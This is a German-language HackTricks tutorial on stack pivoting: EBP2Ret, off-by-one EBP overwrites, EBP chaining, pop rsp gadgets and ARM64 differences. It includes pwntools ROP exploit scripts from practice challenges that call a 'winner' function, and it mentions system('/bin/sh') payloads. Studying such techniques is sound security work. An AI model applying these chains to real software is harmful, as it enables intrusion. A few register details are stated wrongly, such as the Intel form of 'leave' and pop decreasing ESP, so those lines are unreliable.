Stack Pivoting - EBP2Ret - EBP chaining

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Diese Technik nutzt die Möglichkeit, den Base Pointer (EBP) zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der leave; ret-Instruktionssequenz zu verketten.

Zur Erinnerung bedeutet leave im Grunde genommen:

mov       ebp, esp
pop       ebp
ret

Und da sich der EBP im Stack vor dem EIP befindet, ist es möglich, ihn zu kontrollieren, indem man den Stack kontrolliert.

EBP2Ret

Diese Technik ist besonders nützlich, wenn Sie den EBP-Register ändern können, aber keinen direkten Weg haben, das EIP-Register zu ändern. Sie nutzt das Verhalten von Funktionen aus, wenn sie die Ausführung beenden.

Wenn es Ihnen während der Ausführung von fvuln gelingt, einen gefälschten EBP im Stack einzuspeisen, der auf einen Speicherbereich zeigt, in dem die Adresse Ihres Shellcodes liegt (plus 4 Bytes für die pop-Operation), können Sie indirekt das EIP kontrollieren. Wenn fvuln zurückkehrt, wird der ESP auf diese manipulierte Position gesetzt, und die nachfolgende pop-Operation verringert den ESP um 4, wodurch er effektiv auf eine Adresse zeigt, die vom Angreifer dort gespeichert wurde. Beachten Sie, wie Sie 2 Adressen kennen müssen: Diejenige, wohin der ESP gehen wird, und diejenige, an die Sie die Adresse schreiben müssen, auf die der ESP zeigt.

Exploit-Konstruktion

Zuerst müssen Sie eine Adresse kennen, an der Sie beliebige Daten/Adressen schreiben können. Der ESP wird hierhin zeigen und das erste ret ausführen.

Dann müssen Sie die Adresse kennen, die von ret verwendet wird, um beliebigen Code auszuführen. Sie könnten verwenden:

  • Eine gültige ONE_GADGET-Adresse.

  • Die Adresse von system() gefolgt von 4 Junk-Bytes und der Adresse von "/bin/sh" (x86-Bits).

  • Die Adresse eines jump esp;-Gadgets (ret2esp) gefolgt vom Shellcode zur Ausführung.

  • Einige ROP-Kette

Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Speicherbereich 4 Bytes stehen müssen, aufgrund des pop-Teils der leave-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um einen zweiten gefälschten EBP zu setzen und die Ausführung weiter zu kontrollieren.

Off-By-One Exploit

Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One Exploit" bekannt ist. Sie wird verwendet, wenn Sie nur das am wenigsten signifikante Byte des EBP ändern können. In einem solchen Fall muss der Speicherort, der die Adresse zum Springen mit dem ret speichert, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter stärker eingeschränkten Bedingungen ermöglicht. Normalerweise wird das Byte 0x00 modifiziert, um so weit wie möglich zu springen.

Außerdem ist es üblich, einen RET-Schlitten im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass der neue ESP innerhalb des RET-Schlittens zeigt und die endgültige ROP-Kette ausgeführt wird.

EBP-Chaining

Daher ist es möglich, indem Sie eine kontrollierte Adresse im EBP-Eintrag des Stacks platzieren und eine Adresse zu leave; ret in EIP, den ESP zur kontrollierten EBP-Adresse im Stack zu verschieben.

Nun wird der ESP kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein RET. Um dies auszunutzen, können Sie an der kontrollierten ESP-Stelle Folgendes platzieren:

  • &(nächster gefälschter EBP) -> Lädt den neuen EBP aufgrund von pop ebp aus der leave-Anweisung

  • system() -> Aufgerufen von ret

  • &(leave;ret) -> Wird nach dem Ende von system aufgerufen, es verschiebt ESP zum gefälschten EBP und startet erneut

  • &("/bin/sh")-> Parameter für system

Auf diese Weise ist es im Grunde möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.

Dies ist wie ein ret2lib, aber komplexer ohne offensichtlichen Nutzen, könnte jedoch in einigen Randfällen interessant sein.

Darüber hinaus finden Sie hier eine Beispielherausforderung, die diese Technik mit einem Stack-Leak verwendet, um eine Gewinnfunktion aufzurufen. Dies ist das endgültige Nutzlast von der Seite:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP könnte nicht verwendet werden

Wie in diesem Beitrag erklärt, wenn ein Binärprogramm mit einigen Optimierungen kompiliert wird, wird EBP niemals ESP kontrollieren, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, da er keine echte Wirkung hat. Dies liegt daran, dass sich das Prolog- und Epilogverhalten ändert, wenn das Binärprogramm optimiert ist.

  • Nicht optimiert:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimiert:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Andere Möglichkeiten, um RSP zu kontrollieren

pop rsp Gadget

Auf dieser Seite finden Sie ein Beispiel für die Verwendung dieser Technik. Für diese Herausforderung war es erforderlich, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein pop rsp Gadget sowie ein Leak aus dem Stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp Gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Überprüfen Sie die ret2esp-Technik hier:

pageRet2esp / Ret2reg

Referenzen & Weitere Beispiele

ARM64

Im ARM64 speichern und wiederherstellen die Prologe und Epiloge der Funktionen nicht das SP-Register im Stack. Darüber hinaus kehrt die RET-Anweisung nicht zur Adresse zurück, die vom SP gezeigt wird, sondern zur Adresse innerhalb von x30.

Daher können Sie standardmäßig durch den Missbrauch des Epilogs das SP-Register nicht kontrollieren, indem Sie einige Daten im Stack überschreiben. Und selbst wenn es Ihnen gelingt, das SP zu kontrollieren, bräuchten Sie immer noch eine Möglichkeit, den x30-Register zu kontrollieren.

  • Prolog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP zeigt auf Frame-Record
  • Epilog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre die Fähigkeit, das SP zu kontrollieren (indem Sie ein Register kontrollieren, dessen Wert an SP übergeben wird oder weil aus irgendeinem Grund SP seine Adresse vom Stack nimmt und wir einen Überlauf haben) und dann den Epilog zu missbrauchen, um das **x30-Register von einem kontrollierten SP zu laden und an ihn zu **RET**en.

Auf der folgenden Seite können Sie auch das Äquivalent von Ret2esp in ARM64 sehen:

pageRet2esp / Ret2reg
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated